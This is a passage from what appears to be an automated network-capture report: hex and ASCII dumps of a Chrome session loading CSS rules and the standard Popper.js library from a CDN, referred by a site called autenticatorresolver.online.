69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 Data Ascii: 338e @media screen and (max-width:600px),screen and (max-height:366px){.f1hihypw{vertical-align:top}}@media screen and (max-width:600px),screen and (max-height:366px){.f1hdxpn2{padding-top:24px}}@media screen and (max-width:600px),screen and (max
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 36 36 70 78 29 7b 2e 66 31 35 62 73 70 64 6b 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 34 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 62 30 39 6b 37 72 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 34 70 78 7d 2e 66 69 70 64 70 68 6f 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 34 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 31 73 77 31 35 67 73 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 7d 7d 40 6d 65 Data Ascii: 66px){.f15bspdk{padding-bottom:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1b09k7r{padding-left:24px}.fipdpho{padding-right:24px}}@media screen and (max-width:600px),screen and (max-height:366px){.f1sw15gs{margin-top:0px}}@me
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 70 78 29 7b 2e 66 31 6a 66 33 33 72 74 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 Data Ascii: px){.f1jf33rt{margin-bottom:0px}}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (ma
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 2e 66 79 72 6c 65 38 6a 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 Data Ascii: n and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){.fyrle8j{background-color:rgb
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 68 65 69 67 68 74 3a 33 36 36 70 78 29 7b 7d 40 6d 65 64 69 61 20 73 63 72 65 65 Data Ascii: dth:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media screen and (max-width:600px),screen and (max-height:366px){}@media scree
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 3a 6d 6f 72 65 29 2c 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 66 31 33 68 66 76 63 6a 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 70 72 65 66 65 72 73 2d 63 6f 6e 74 72 61 73 74 3a 6d 6f 72 65 29 2c 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 66 6d 30 37 72 68 31 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 2e 66 37 79 32 36 78 65 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 7d 40 6d 65 64 69 61 20 73 63 Data Ascii: :more),(forced-colors:active){.f13hfvcj{border-bottom-style:solid}}@media screen and (prefers-contrast:more),(forced-colors:active){.fm07rh1{border-left-style:solid}.f7y26xe{border-right-style:solid}}@media screen and (-ms-high-contrast:active){}@media sc
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 79 71 75 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 2e 66 77 62 70 6b 33 35 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 68 65 30 74 64 37 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 77 62 70 6b 33 35 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 68 69 67 68 6c 69 67 68 74 7d 2e 66 39 71 34 79 71 75 7b 62 6f 72 64 65 72 2d 72 Data Ascii: yqu{border-right-color:highlight}.fwbpk35{border-left-color:highlight}}@media screen and (-ms-high-contrast:active){.fhe0td7{border-bottom-color:highlight}}@media screen and (-ms-high-contrast:active){.fwbpk35{border-left-color:highlight}.f9q4yqu{border-r
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 74 78 72 30 35 38 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 78 38 6d 32 32 70 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 2e 66 31 71 64 33 62 6d 36 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 Data Ascii: -left-style:solid}}@media screen and (-ms-high-contrast:active){.ftxr058:hover{border-bottom-style:solid}}@media screen and (-ms-high-contrast:active){.f1x8m22p:hover{border-left-style:solid}.f1qd3bm6:hover{border-right-style:solid}}@media screen and (-ms
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 64 36 37 32 30 74 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 77 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 75 35 65 69 68 72 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 31 70 78 7d 2e 66 31 69 6b 34 75 33 75 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 31 Data Ascii: ver:focus{border-left-width:1px}}@media screen and (-ms-high-contrast:active){.fd6720t:hover:focus{border-bottom-width:1px}}@media screen and (-ms-high-contrast:active){.f1u5eihr:hover:focus{border-left-width:1px}.f1ik4u3u:hover:focus{border-right-width:1
2024-12-10 14:09:18 UTC	1369	IN	Data Raw: 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 72 78 36 7a 70 6a 3a 68 6f 76 65 72 3a 66 6f 63 75 73 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 2d 6c 69 6e 65 3a 75 6e 64 65 72 6c 69 6e 65 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 79 65 65 72 62 6b 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 31 70 78 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 7b 2e 66 31 61 70 65 65 68 75 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 7d 40 6d 65 64 Data Ascii: een and (-ms-high-contrast:active){.f1rx6zpj:hover:focus{text-decoration-line:underline}}@media screen and (-ms-high-contrast:active){.f1yeerbk:focus{outline-width:1px}}@media screen and (-ms-high-contrast:active){.f1apeehu:focus{outline-style:solid}}@med

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49762	151.101.65.229	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:20 UTC	575	OUT	GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:20 UTC	776	IN	HTTP/1.1 200 OK Connection: close Content-Length: 20122 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 2.11.8 X-JSD-Version-Type: version ETag: W/"4e9a-hx1u8QcL02PqOQ4MjDhOR9zn84k" Accept-Ranges: bytes Age: 2290267 Date: Tue, 10 Dec 2024 14:09:20 GMT X-Served-By: cache-fra-eddf8230047-FRA, cache-ewr-kewr1740057-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 70 6f 70 70 65 72 6a 73 2f 63 6f 72 65 20 76 32 2e 31 31 2e 38 20 2d 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 74 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 74 29 3a 74 28 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 50 6f 70 70 65 72 3d 7b 7d 29 7d Data Ascii: /** * @popperjs/core v2.11.8 - MIT License */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).Popper={})}
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 76 61 72 20 6e 3d 74 28 65 29 3b 72 65 74 75 72 6e 7b 73 63 72 6f 6c 6c 4c 65 66 74 3a 6e 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 73 63 72 6f 6c 6c 54 6f 70 3a 6e 2e 70 61 67 65 59 4f 66 66 73 65 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 28 65 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 72 65 74 75 72 6e 28 28 6e 28 65 29 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3a 65 2e 64 6f 63 75 6d 65 6e 74 29 7c 7c 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 72 65 74 75 72 6e 20 70 28 64 28 65 Data Ascii: unction u(e){var n=t(e);return{scrollLeft:n.pageXOffset,scrollTop:n.pageYOffset}}function l(e){return e?(e.nodeName\|\|"").toLowerCase():null}function d(e){return((n(e)?e.ownerDocument:e.document)\|\|window.document).documentElement}function h(e){return p(d(e
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 28 6e 3d 5b 5d 29 3b 76 61 72 20 6f 3d 78 28 65 29 2c 69 3d 6f 3d 3d 3d 28 6e 75 6c 6c 3d 3d 28 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 3f 76 6f 69 64 20 30 3a 72 2e 62 6f 64 79 29 2c 61 3d 74 28 6f 29 2c 73 3d 69 3f 5b 61 5d 2e 63 6f 6e 63 61 74 28 61 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 7c 7c 5b 5d 2c 76 28 6f 29 3f 6f 3a 5b 5d 29 3a 6f 2c 66 3d 6e 2e 63 6f 6e 63 61 74 28 73 29 3b 72 65 74 75 72 6e 20 69 3f 66 3a 66 2e 63 6f 6e 63 61 74 28 77 28 62 28 73 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 72 65 74 75 72 6e 5b 22 74 61 62 6c 65 22 2c 22 74 64 22 2c 22 74 68 22 5d 2e 69 6e 64 65 78 4f 66 28 6c 28 65 29 29 3e 3d 30 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 72 65 74 75 72 6e 20 72 28 65 29 26 26 22 66 69 78 65 64 Data Ascii: (n=[]);var o=x(e),i=o===(null==(r=e.ownerDocument)?void 0:r.body),a=t(o),s=i?[a].concat(a.visualViewport\|\|[],v(o)?o:[]):o,f=n.concat(s);return i?f:f.concat(w(b(s)))}function O(e){return["table","td","th"].indexOf(l(e))>=0}function j(e){return r(e)&&"fixed
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 72 3d 74 2e 67 65 74 28 65 29 3b 72 26 26 6f 28 72 29 7d 7d 29 29 2c 72 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 73 65 74 28 65 2e 6e 61 6d 65 2c 65 29 7d 29 29 2c 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 68 61 73 28 65 2e 6e 61 6d 65 29 7c 7c 6f 28 65 29 7d 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 26 26 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 28 29 3b 69 66 28 65 2e 63 6f 6e 74 61 69 6e 73 28 74 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 6e 26 26 6f 28 6e 29 29 7b 76 61 72 20 72 3d 74 3b 64 6f 7b 69 66 28 72 26 26 65 2e 69 73 53 61 6d 65 4e 6f 64 65 28 72 29 29 72 Data Ascii: r=t.get(e);r&&o(r)}})),r.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)\|\|o(e)})),r}function C(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&o(n)){var r=t;do{if(r&&e.isSameNode(r))r
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 69 6f 6e 29 3e 3d 30 26 26 72 28 65 29 3f 45 28 65 29 3a 65 3b 72 65 74 75 72 6e 20 6e 28 6f 29 3f 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 65 29 26 26 43 28 65 2c 6f 29 26 26 22 62 6f 64 79 22 21 3d 3d 6c 28 65 29 7d 29 29 3a 5b 5d 7d 28 65 29 3a 5b 5d 2e 63 6f 6e 63 61 74 28 74 29 2c 63 3d 5b 5d 2e 63 6f 6e 63 61 74 28 66 2c 5b 6f 5d 29 2c 70 3d 63 5b 30 5d 2c 75 3d 63 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 49 28 65 2c 6e 2c 73 29 3b 72 65 74 75 72 6e 20 74 2e 74 6f 70 3d 69 28 72 2e 74 6f 70 2c 74 2e 74 6f 70 29 2c 74 2e 72 69 67 68 74 3d 61 28 72 2e 72 69 67 68 74 2c 74 2e 72 69 67 68 74 29 2c 74 2e 62 6f 74 74 6f 6d 3d 61 28 72 2e 62 6f 74 74 6f 6d 2c Data Ascii: ion)>=0&&r(e)?E(e):e;return n(o)?t.filter((function(e){return n(e)&&C(e,o)&&"body"!==l(e)})):[]}(e):[].concat(t),c=[].concat(f,[o]),p=c[0],u=c.reduce((function(t,n){var r=I(e,n,s);return t.top=i(r.top,t.top),t.right=a(r.right,t.right),t.bottom=a(r.bottom,
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 72 79 2c 79 3d 76 6f 69 64 20 30 21 3d 3d 76 26 26 76 2c 67 3d 72 2e 70 61 64 64 69 6e 67 2c 62 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 30 3a 67 2c 78 3d 59 28 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 62 3f 62 3a 47 28 62 2c 6b 29 29 2c 77 3d 6d 3d 3d 3d 54 3f 22 72 65 66 65 72 65 6e 63 65 22 3a 54 2c 4f 3d 65 2e 72 65 63 74 73 2e 70 6f 70 70 65 72 2c 6a 3d 65 2e 65 6c 65 6d 65 6e 74 73 5b 79 3f 77 3a 6d 5d 2c 45 3d 5f 28 6e 28 6a 29 3f 6a 3a 6a 2e 63 6f 6e 74 65 78 74 45 6c 65 6d 65 6e 74 7c 7c 64 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 70 6f 70 70 65 72 29 2c 63 2c 6c 2c 73 29 2c 50 3d 70 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 4d 3d 58 28 7b 72 65 66 65 72 65 6e 63 65 3a 50 2c 65 6c 65 6d 65 6e 74 3a 4f 2c 73 74 72 61 74 Data Ascii: ry,y=void 0!==v&&v,g=r.padding,b=void 0===g?0:g,x=Y("number"!=typeof b?b:G(b,k)),w=m===T?"reference":T,O=e.rects.popper,j=e.elements[y?w:m],E=_(n(j)?j:j.contextElement\|\|d(e.elements.popper),c,l,s),P=p(e.elements.reference),M=X({reference:P,element:O,strat
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 2c 70 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 71 28 65 29 3b 72 65 74 75 72 6e 20 56 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 63 6f 6e 63 61 74 28 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 70 68 61 73 65 3d 3d 3d 6e 7d 29 29 29 7d 29 2c 5b 5d 29 7d 28 28 73 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6f 2c 66 2e 6f 70 74 69 6f 6e 73 2e 6d 6f 64 69 66 69 65 72 73 29 2c 70 3d 73 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 65 5b 74 2e 6e 61 6d 65 5d 3b 72 65 74 75 72 6e 20 65 5b 74 2e 6e 61 6d 65 5d 3d 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 6e 2c 74 2c 7b 6f 70 74 69 6f 6e 73 3a 4f Data Ascii: ,p,d=function(e){var t=q(e);return V.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}((s=[].concat(o,f.options.modifiers),p=s.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:O
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 73 7d 29 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 28 29 2c 70 3d 21 30 7d 7d 3b 69 66 28 21 51 28 65 2c 74 29 29 72 65 74 75 72 6e 20 75 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 63 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 28 29 7d 29 29 2c 63 3d 5b 5d 7d 72 65 74 75 72 6e 20 75 2e 73 65 74 4f 70 74 69 6f 6e 73 28 72 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 21 70 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 26 26 72 2e 6f 6e 46 69 72 73 74 55 70 64 61 74 65 28 65 29 7d 29 29 2c 75 7d 7d 76 61 72 20 24 3d 7b 70 61 73 73 69 76 65 3a 21 30 7d 3b 76 61 72 20 65 65 3d 7b 6e 61 6d 65 3a 22 65 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 65 6e 61 62 6c 65 64 3a 21 30 Data Ascii: s}),destroy:function(){l(),p=!0}};if(!Q(e,t))return u;function l(){c.forEach((function(e){return e()})),c=[]}return u.setOptions(r).then((function(e){!p&&r.onFirstUpdate&&r.onFirstUpdate(e)})),u}}var $={passive:!0};var ee={name:"eventListeners",enabled:!0
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 69 67 68 74 22 2c 54 3d 22 63 6c 69 65 6e 74 57 69 64 74 68 22 3b 69 66 28 57 3d 3d 3d 74 28 72 29 26 26 22 73 74 61 74 69 63 22 21 3d 3d 6d 28 57 3d 64 28 72 29 29 2e 70 6f 73 69 74 69 6f 6e 26 26 22 61 62 73 6f 6c 75 74 65 22 3d 3d 3d 63 26 26 28 48 3d 22 73 63 72 6f 6c 6c 48 65 69 67 68 74 22 2c 54 3d 22 73 63 72 6f 6c 6c 57 69 64 74 68 22 29 2c 57 3d 57 2c 69 3d 3d 3d 44 7c 7c 28 69 3d 3d 3d 50 7c 7c 69 3d 3d 3d 4c 29 26 26 61 3d 3d 3d 42 29 4d 3d 41 2c 62 2d 3d 28 68 26 26 57 3d 3d 3d 6b 26 26 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 3f 6b 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 2e 68 65 69 67 68 74 3a 57 5b 48 5d 29 2d 6f 2e 68 65 69 67 68 74 2c 62 2a 3d 70 3f 31 3a 2d 31 3b 69 66 28 69 3d 3d 3d 50 7c 7c 28 69 3d 3d 3d 44 7c 7c 69 3d 3d Data Ascii: ight",T="clientWidth";if(W===t(r)&&"static"!==m(W=d(r)).position&&"absolute"===c&&(H="scrollHeight",T="scrollWidth"),W=W,i===D\|\|(i===P\|\|i===L)&&a===B)M=A,b-=(h&&W===k&&k.visualViewport?k.visualViewport.height:W[H])-o.height,b*=p?1:-1;if(i===P\|\|(i===D\|\|i==
